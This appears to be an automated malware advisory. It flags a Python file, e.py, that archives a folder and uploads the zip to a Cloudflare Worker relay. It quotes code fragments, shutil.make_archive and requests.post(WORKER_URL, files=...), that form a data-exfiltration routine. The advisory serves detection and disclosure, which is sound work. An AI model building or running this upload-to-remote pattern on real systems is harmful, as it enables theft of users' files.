GCVE-110-OSM-2026-12474

The file `e.py` implements a textbook data-theft pipeline: it creates a ZIP archive via `shutil.make_archive` from a target folder path (likely staging sensitive files from the filesystem), then immediately POSTs the archive to a Cloudflare Worker endpoint via `requests.post(WORKER_URL, files=...)`. The Russian-language comments embedded in the code — '[+] The archive was successfully created in Temp' and '[*] Sending the archive to Cloudflare Worker...' — confirm the author's intent is to exfiltrate data to an attacker-controlled backend proxied through Cloudflare. This is the classic attacker pattern of using Cloudflare Workers as a C2/exfil relay to obscure the true destination. EXFIL - Python Archive Exfiltration in e.py: "shutil.make_archive(archive_base, 'zip', folder_path) print(f"[+] Архив успешно ..." - Python File Upload to Remote in e.py: "requests.post(WORKER_URL, files=" - Network Request in e.py: "requests.post(" PAYLOAD FILES e.py